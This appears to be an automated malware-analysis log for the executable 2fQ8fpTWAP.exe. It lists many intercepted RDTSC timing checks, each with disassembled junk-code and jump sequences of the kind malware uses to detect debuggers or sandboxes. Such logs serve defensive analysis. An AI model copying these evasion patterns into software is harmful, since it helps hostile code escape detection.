Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F90F6F second address: 4F90F94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7A2D39F16Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F90F94 second address: 4F90F9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F90F9A second address: 4F90F9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F90F9E second address: 4FA005D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ret 0x00000009 nop 0x0000000a push eax 0x0000000b call 00007F7A3162AC1Fh 0x00000010 mov edi, edi 0x00000012 jmp 00007F7A2CC6ACEFh 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F7A2CC6ACF6h 0x0000001d push eax 0x0000001e jmp 00007F7A2CC6ACEBh 0x00000023 xchg eax, ebp 0x00000024 pushad 0x00000025 call 00007F7A2CC6ACF4h 0x0000002a mov edi, esi 0x0000002c pop esi 0x0000002d mov si, dx 0x00000030 popad 0x00000031 mov ebp, esp 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 mov cx, 0221h 0x0000003a push esi 0x0000003b pop edi 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F5001C second address: 4F5007A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F173h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F7A2D39F176h 0x00000011 mov ebp, esp 0x00000013 jmp 00007F7A2D39F170h 0x00000018 and esp, FFFFFFF8h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F7A2D39F177h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F5007A second address: 4F50080 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F50080 second address: 4F50084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F50084 second address: 4F500BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c pushad 0x0000000d jmp 00007F7A2CC6ACF4h 0x00000012 mov ebx, esi 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 mov bx, 475Ch 0x0000001b popad 0x0000001c xchg eax, ecx 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F501DD second address: 4F501E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F501E5 second address: 4F50280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 pushad 0x00000009 mov ebx, ecx 0x0000000b mov al, 8Dh 0x0000000d popad 0x0000000e mov dword ptr [esp], edi 0x00000011 pushad 0x00000012 push ebx 0x00000013 mov ah, DAh 0x00000015 pop edx 0x00000016 pushad 0x00000017 call 00007F7A2CC6ACF2h 0x0000001c pop esi 0x0000001d call 00007F7A2CC6ACEBh 0x00000022 pop ecx 0x00000023 popad 0x00000024 popad 0x00000025 test esi, esi 0x00000027 jmp 00007F7A2CC6ACEFh 0x0000002c je 00007F7A9F1A90CDh 0x00000032 jmp 00007F7A2CC6ACF6h 0x00000037 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000003e jmp 00007F7A2CC6ACF0h 0x00000043 je 00007F7A9F1A90B0h 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F7A2CC6ACF7h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F50280 second address: 4F50326 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [esi+44h] 0x0000000c jmp 00007F7A2D39F16Eh 0x00000011 or edx, dword ptr [ebp+0Ch] 0x00000014 jmp 00007F7A2D39F170h 0x00000019 test edx, 61000000h 0x0000001f pushad 0x00000020 mov ax, 6D5Dh 0x00000024 call 00007F7A2D39F16Ah 0x00000029 pushfd 0x0000002a jmp 00007F7A2D39F172h 0x0000002f sbb cx, 10E8h 0x00000034 jmp 00007F7A2D39F16Bh 0x00000039 popfd 0x0000003a pop eax 0x0000003b popad 0x0000003c jne 00007F7A9F8DD4F2h 0x00000042 pushad 0x00000043 push edx 0x00000044 mov eax, 6AAD2CD7h 0x00000049 pop esi 0x0000004a mov ax, di 0x0000004d popad 0x0000004e test byte ptr [esi+48h], 00000001h 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F7A2D39F172h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F407CB second address: 4F407CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F407CF second address: 4F407D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F407D5 second address: 4F4083B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7A2CC6ACECh 0x00000009 jmp 00007F7A2CC6ACF5h 0x0000000e popfd 0x0000000f mov si, CD87h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 xchg eax, ebp 0x00000017 pushad 0x00000018 mov ah, E6h 0x0000001a pushfd 0x0000001b jmp 00007F7A2CC6ACF5h 0x00000020 add cx, 8326h 0x00000025 jmp 00007F7A2CC6ACF1h 0x0000002a popfd 0x0000002b popad 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F4083B second address: 4F4083F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F4083F second address: 4F40859 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACF6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40859 second address: 4F4085F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F4085F second address: 4F408B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACEDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F7A2CC6ACF3h 0x00000014 pushfd 0x00000015 jmp 00007F7A2CC6ACF8h 0x0000001a and esi, 66E844B8h 0x00000020 jmp 00007F7A2CC6ACEBh 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F408B5 second address: 4F4092D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007F7A2D39F175h 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 jmp 00007F7A2D39F177h 0x00000015 and esp, FFFFFFF8h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov cx, bx 0x0000001e pushfd 0x0000001f jmp 00007F7A2D39F177h 0x00000024 or si, A13Eh 0x00000029 jmp 00007F7A2D39F179h 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F4092D second address: 4F409AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7A2CC6ACF7h 0x00000009 sub ax, E34Eh 0x0000000e jmp 00007F7A2CC6ACF9h 0x00000013 popfd 0x00000014 jmp 00007F7A2CC6ACF0h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebx 0x0000001d pushad 0x0000001e mov dh, ah 0x00000020 mov cx, di 0x00000023 popad 0x00000024 push eax 0x00000025 jmp 00007F7A2CC6ACF4h 0x0000002a xchg eax, ebx 0x0000002b jmp 00007F7A2CC6ACF0h 0x00000030 xchg eax, esi 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F409AF second address: 4F409B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F409B5 second address: 4F409DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7A2CC6ACEEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F409DE second address: 4F409E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F409E4 second address: 4F409E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F409E8 second address: 4F40A5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F7A2D39F16Fh 0x00000010 xor ah, 0000002Eh 0x00000013 jmp 00007F7A2D39F179h 0x00000018 popfd 0x00000019 pushfd 0x0000001a jmp 00007F7A2D39F170h 0x0000001f adc eax, 1E24F3A8h 0x00000025 jmp 00007F7A2D39F16Bh 0x0000002a popfd 0x0000002b popad 0x0000002c mov esi, dword ptr [ebp+08h] 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F7A2D39F175h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40A5D second address: 4F40A63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40A63 second address: 4F40A67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40A67 second address: 4F40A6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40A6B second address: 4F40ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, 00000000h 0x0000000d jmp 00007F7A2D39F174h 0x00000012 test esi, esi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push ebx 0x00000018 pop ecx 0x00000019 pushfd 0x0000001a jmp 00007F7A2D39F179h 0x0000001f jmp 00007F7A2D39F16Bh 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40ABA second address: 4F40B56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F7A9F1B059Dh 0x0000000f pushad 0x00000010 push ecx 0x00000011 push edx 0x00000012 pop eax 0x00000013 pop edi 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F7A2CC6ACF2h 0x0000001b and eax, 76840F88h 0x00000021 jmp 00007F7A2CC6ACEBh 0x00000026 popfd 0x00000027 pushfd 0x00000028 jmp 00007F7A2CC6ACF8h 0x0000002d jmp 00007F7A2CC6ACF5h 0x00000032 popfd 0x00000033 popad 0x00000034 popad 0x00000035 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000003c jmp 00007F7A2CC6ACEEh 0x00000041 mov ecx, esi 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40B56 second address: 4F40B5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40B5A second address: 4F40B60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40B60 second address: 4F40B66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40B66 second address: 4F40B6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40B6A second address: 4F40BB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F16Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F7A9F8E498Bh 0x00000011 pushad 0x00000012 mov edx, ecx 0x00000014 pushfd 0x00000015 jmp 00007F7A2D39F16Ah 0x0000001a add esi, 50D229D8h 0x00000020 jmp 00007F7A2D39F16Bh 0x00000025 popfd 0x00000026 popad 0x00000027 test byte ptr [77516968h], 00000002h 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40BB2 second address: 4F40BB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40BB6 second address: 4F40BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40BBC second address: 4F40BC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40BC2 second address: 4F40BC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40BC6 second address: 4F40BFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F7A9F1B04BCh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F7A2CC6ACF7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40BFF second address: 4F40C25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40C25 second address: 4F40C29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40C29 second address: 4F40C3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F16Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40C3C second address: 4F40C7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 96h 0x00000005 pushfd 0x00000006 jmp 00007F7A2CC6ACF0h 0x0000000b or al, FFFFFF88h 0x0000000e jmp 00007F7A2CC6ACEBh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F7A2CC6ACF5h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40C7C second address: 4F40CE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7A2D39F177h 0x00000009 or esi, 46B94C2Eh 0x0000000f jmp 00007F7A2D39F179h 0x00000014 popfd 0x00000015 call 00007F7A2D39F170h 0x0000001a pop ecx 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e push eax 0x0000001f pushad 0x00000020 jmp 00007F7A2D39F16Eh 0x00000025 mov bh, cl 0x00000027 popad 0x00000028 xchg eax, ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40CE5 second address: 4F40CE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40CE9 second address: 4F40CFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F172h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40CFF second address: 4F40D4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F7A2CC6ACF6h 0x0000000f push eax 0x00000010 pushad 0x00000011 mov ax, dx 0x00000014 movsx ebx, cx 0x00000017 popad 0x00000018 xchg eax, ebx 0x00000019 jmp 00007F7A2CC6ACF4h 0x0000001e push dword ptr [ebp+14h] 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40D4C second address: 4F40D50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40D50 second address: 4F40D56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40D56 second address: 4F40D7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F174h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F7A2D39F16Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40D7F second address: 4F40D83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40D83 second address: 4F40D89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40DD1 second address: 4F40DF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7A2CC6ACF0h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40DF5 second address: 4F40DF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40DF9 second address: 4F40DFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F50DAD second address: 4F50DFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 1A17F422h 0x00000008 mov dx, 306Eh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 movzx esi, dx 0x00000014 pushfd 0x00000015 jmp 00007F7A2D39F177h 0x0000001a and ah, FFFFFFCEh 0x0000001d jmp 00007F7A2D39F179h 0x00000022 popfd 0x00000023 popad 0x00000024 xchg eax, ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F50DFE second address: 4F50E04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F50B00 second address: 4F50B06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F50B06 second address: 4F50B0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F50B0C second address: 4F50B10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F50B10 second address: 4F50B46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F7A2CC6ACF6h 0x00000012 xor al, 00000028h 0x00000015 jmp 00007F7A2CC6ACEBh 0x0000001a popfd 0x0000001b movzx eax, bx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F50B46 second address: 4F50B4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F50B4C second address: 4F50B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FC095C second address: 4FC0962 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FC0962 second address: 4FC0968 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FC0968 second address: 4FC0990 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a push ecx 0x0000000b push edx 0x0000000c pop esi 0x0000000d pop ebx 0x0000000e call 00007F7A2D39F178h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FC0990 second address: 4FC099D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FC099D second address: 4FC09A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FC09A1 second address: 4FC09B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FC09B4 second address: 4FC09DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, bl 0x00000005 mov ecx, 679B3BC7h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F7A2D39F179h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FC09DD second address: 4FC09E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
